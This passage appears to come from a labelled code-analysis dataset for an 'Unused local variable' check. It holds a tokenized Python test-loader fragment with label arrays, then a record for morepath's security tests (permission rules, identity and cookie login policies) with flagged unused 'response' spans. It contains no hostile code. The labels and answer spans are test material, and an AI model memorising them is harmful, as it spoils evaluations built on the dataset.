"full", "path", "\\u", "noe", "xt_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "module", "\\u", "dir_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "realpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod", "\\u", "name_", "=_", "\\u", "jy", "tho", "n", "\\u", "awa", "re", "\\u", "splitext_", "(_", "os_", "._", "path_", "._", "basename_", "(_", "full", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "dir_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "full", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "(_", "\"%", "r", " ", "module", " ", "incorrect", "ly", " ", "import", "ed", " ", "from", " ", "%", "r", ".", " ", "Expect", "ed", " ", "%", "r", ".", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Is", " ", "this", " ", "module", " ", "global", "ly", " ", "install", "ed", "?\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Import", "Error_", "(_", "msg_", "%_", "(_", "mod", "\\u", "name_", ",_", "module", "\\u", "dir_", ",_", "expected", "\\u", "dir_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "self_", "._", "load", "Test", "s", "Fro", "m", "Module_", "(_", "module_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "os_", "._", "path_", "._", "isdir_", "(_", "full", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "isfile_", "(_", "os_", "._", "path_", "._", "join_", "(_", "full", "\\u", "path_", ",_", "'\\u", "\\u", "init", "\\u\\u", ".", "py", "'_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "load", "\\u", "tests_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tests_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fnmatch_", "(_", "path_", ",_", "pattern_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "only", " ", "check", " ", "load", "\\u", "tests", " ", "if", " ", "the", " ", "package", " ", "director", "y", " ", "its", "elf", " ", "matche", "s", " ", "the", " ", "filter_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "name_", "=_", "self_", "._", "\\u", "get", "\\u", "name", "\\u", "from", "\\u", "path_", "(_", "full", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "package_", "=_", "self_", "._", "\\u", "get", "\\u", "module", "\\u", "from", "\\u", "name_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "load", "\\u", "tests_", "=_", "getattr_", "(_", "package_", ",_", "'", "load", "\\u", "tests", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tests_", "=_", "self_", "._", "load", "Test", "s", "Fro", "m", "Module_", "(_", "package_", ",_", "use", "\\u", "load", "\\u", "tests_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "load", "\\u", "tests_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "tests_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "tests", " ", "load", "ed", " ", "from", " ", "package", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "yield_", "tests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "recurse", " ", "int", "o", " ", "the", " ", "package_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "test_", "in_", "self_", "._", "\\u", "find", "\\u", "tests_", "(_", "full", "\\u", "path_", ",_", "pattern_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "yield_", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "yield_", "load", "\\u", "tests_", "(_", "self_", ",_", "tests_", ",_", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "yield_", "\\u", "make", "\\u", "fail", "ed", "\\u", "load", "\\u", "tests_", "(_", "package_", "._", "\\u\\u", "name\\u\\u_", ",_", "e_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "suit", "e", "Class_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
morepath/morepath/morepath/tests/test_security.py
[ { "content": "def test_permission_directive_identity():\n class app(morepath.App):\n pass\n\n class Model(object):\n def __init__(self, id):\n self.id = id\n\n class Permission(object):\n pass\n\n @app.verify_identity()\n def verify_identity(identity):\n return True\n\n @app.path(model=Model, path='{id}',\n variables=lambda model: {'id': model.id})\n def get_model(id):\n return Model(id)\n\n @app.permission_rule(model=Model, permission=Permission)\n def get_permission(identity, model, permission):\n if model.id == 'foo':\n return True\n else:\n return False\n\n @app.view(model=Model, permission=Permission)\n def default(self, request):\n return \"Model: %s\" % self.id\n\n @app.identity_policy()\n class IdentityPolicy(object):\n def identify(self, request):\n return Identity('testidentity')\n\n def remember(self, response, request, identity):\n pass\n\n def forget(self, response, request):\n pass\n\n c = Client(app())\n\n response = c.get('/foo')\n assert response.body == b'Model: foo'\n response = c.get('/bar', status=403)", "metadata": "root.test_permission_directive_identity", "header": "['module', '___EOS___']", "index": 44 }, { "content": "def test_permission_directive_no_identity():\n class app(morepath.App):\n pass\n\n class Model(object):\n def __init__(self, id):\n self.id = id\n\n class Permission(object):\n pass\n\n @app.path(model=Model, path='{id}',\n variables=lambda model: {'id': model.id})\n def get_model(id):\n return Model(id)\n\n @app.permission_rule(model=Model, permission=Permission, identity=None)\n def get_permission(identity, model, permission):\n if model.id == 'foo':\n return True\n else:\n return False\n\n @app.view(model=Model, permission=Permission)\n def default(self, request):\n return \"Model: %s\" % self.id\n\n c = Client(app())\n\n response = c.get('/foo')\n assert response.body == b'Model: foo'\n response = c.get('/bar', status=403)", "metadata": "root.test_permission_directive_no_identity", "header": "['module', '___EOS___']", "index": 93 }, { "content": "def test_policy_action():\n c = Client(identity_policy.app())\n\n response = c.get('/foo')\n assert response.body == b'Model: foo'\n response = c.get('/bar', status=403)", "metadata": "root.test_policy_action", "header": "['module', '___EOS___']", "index": 127 }, { "content": "def test_cookie_identity_policy():\n class app(morepath.App):\n pass\n\n @app.path(path='{id}')\n class Model(object):\n def __init__(self, id):\n self.id = id\n\n class Permission(object):\n pass\n\n @app.permission_rule(model=Model, permission=Permission)\n def get_permission(identity, model, permission):\n return identity.userid == 'user'\n\n @app.view(model=Model, permission=Permission)\n def default(self, request):\n return \"Model: %s\" % self.id\n\n @app.view(model=Model, name='log_in')\n def log_in(self, request):\n response = Response()\n generic.remember_identity(response, request,\n Identity(userid='user',\n payload='Amazing'),\n lookup=request.lookup)\n return response\n\n @app.view(model=Model, name='log_out')\n def log_out(self, request):\n response = Response()\n generic.forget_identity(response, request, lookup=request.lookup)\n return response\n\n @app.identity_policy()\n def policy():\n return DumbCookieIdentityPolicy()\n\n @app.verify_identity()\n def verify_identity(identity):\n return True\n\n c = Client(app(), cookiejar=CookieJar())\n\n response = c.get('/foo', status=403)\n\n response = c.get('/foo/log_in')\n\n response = c.get('/foo', status=200)\n assert response.body == b'Model: foo'\n\n response = c.get('/foo/log_out')\n\n response = c.get('/foo', status=403)", "metadata": "root.test_cookie_identity_policy", "header": "['module', '___EOS___']", "index": 155 } ]
[ { "span": "response ", "start_line": 90, "start_column": 4, "end_line": 90, "end_column": 12 }, { "span": "response ", "start_line": 124, "start_column": 4, "end_line": 124, "end_column": 12 }, { "span": "response ", "start_line": 132, "start_column": 4, "end_line": 132, "end_column": 12 }, { "span": "response ", "start_line": 209, "start_column": 4, "end_line": 209, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "permissi", "on", "\\u", "directive", "\\u", "identity_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "app_", "(_", "more", "path_", "._", "App_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Model_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "id_", "=_", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Permission_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "verify", "\\u", "identity_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "verify", "\\u", "identity_", "(_", "identity_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "path_", "(_", "model_", "=_", "Model_", ",_", "path_", "=_", "'{", "id", "}'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "variables_", "=_", "lambda_", "model_", ":_", "{_", "'", "id", "'_", ":_", "model_", "._", "id_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "model_", "(_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Model_", "(_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "permissi", "on", "\\u", "rule_", "(_", "model_", "=_", "Model_", ",_", "permission_", "=_", "Permission_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "permission_", "(_", "identity_", ",_", "model_", ",_", "permission_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "model_", "._", "id_", "==_", "'", "foo", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "view_", "(_", "model_", "=_", "Model_", ",_", "permission_", "=_", "Permission_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "default_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "Model", ":", " ", "%", "s", "\"_", "%_", "self_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "identi", "ty", "\\u", "policy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "Ident", "it", "y", "Policy_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "identify", "_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Identity_", "(_", "'", "testi", "denti", "ty", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remember", "_", "(_", "self_", ",_", "response_", ",_", "request_", ",_", "identity_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "forget", "_", "(_", "self_", ",_", "response_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c_", "=_", "Client_", "(_", "app_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "c_", "._", "get_", "(_", "'/", "foo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "response_", "._", "body_", "==_", "b", "'", "Model", ":", " ", "foo", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "c_", "._", "get_", "(_", "'/", "bar", "'_", ",_", "status_", "=_", "403_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "permissi", "on", "\\u", "directive", "\\u", "no", "\\u", "identity_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "app_", "(_", "more", "path_", "._", "App_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Model_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "id_", "=_", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Permission_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "path_", "(_", "model_", "=_", "Model_", ",_", "path_", "=_", "'{", "id", "}'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "variables_", "=_", "lambda_", "model_", ":_", "{_", "'", "id", "'_", ":_", "model_", "._", "id_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "model_", "(_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Model_", "(_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "permissi", "on", "\\u", "rule_", "(_", "model_", "=_", "Model_", ",_", "permission_", "=_", "Permission_", ",_", "identity_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "permission_", "(_", "identity_", ",_", "model_", ",_", "permission_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "model_", "._", "id_", "==_", "'", "foo", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "view_", "(_", "model_", "=_", "Model_", ",_", "permission_", "=_", "Permission_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "default_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "Model", ":", " ", "%", "s", "\"_", "%_", "self_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c_", "=_", "Client_", "(_", "app_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "c_", "._", "get_", "(_", "'/", "foo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "response_", "._", "body_", "==_", "b", "'", "Model", ":", " ", "foo", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "c_", "._", "get_", "(_", "'/", "bar", "'_", ",_", "status_", "=_", "403_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "policy", "\\u", "action_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "=_", "Client_", "(_", "identi", "ty", "\\u", "policy_", "._", "app_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "c_", "._", "get_", "(_", "'/", "foo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "response_", "._", "body_", "==_", "b", "'", "Model", ":", " ", "foo", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "c_", "._", "get_", "(_", "'/", "bar", "'_", ",_", "status_", "=_", "403_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "cookie", "\\u", "identi", "ty", "\\u", "policy_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "app_", "(_", "more", "path_", "._", "App_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "path_", "(_", "path_", "=_", "'{", "id", "}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "Model_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "id_", "=_", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Permission_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "permissi", "on", "\\u", "rule_", "(_", "model_", "=_", "Model_", ",_", "permission_", "=_", "Permission_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "permission_", "(_", "identity_", ",_", "model_", ",_", "permission_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "identity_", "._", "userid_", "==_", "'", "user", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "view_", "(_", "model_", "=_", "Model_", ",_", "permission_", "=_", "Permission_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "default_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "Model", ":", " ", "%", "s", "\"_", "%_", "self_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "view_", "(_", "model_", "=_", "Model_", ",_", "name_", "=_", "'", "log", "\\u", "in", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "log", "\\u", "in_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "Response_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "generic_", "._", "remember", "\\u", "identity_", "(_", "response_", ",_", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Identity_", "(_", "userid_", "=_", "'", "user", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "payload_", "=_", "'", "Ama", "zin", "g", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lookup_", "=_", "request_", "._", "lookup_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "view_", "(_", "model_", "=_", "Model_", ",_", "name_", "=_", "'", "log", "\\u", "out", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "log", "\\u", "out_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "Response_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "generic_", "._", "forget", "\\u", "identity_", "(_", "response_", ",_", "request_", ",_", "lookup_", "=_", "request_", "._", "lookup_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "identi", "ty", "\\u", "policy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "policy_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Du", "mb", "Cooki", "e", "Ident", "it", "y", "Policy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", 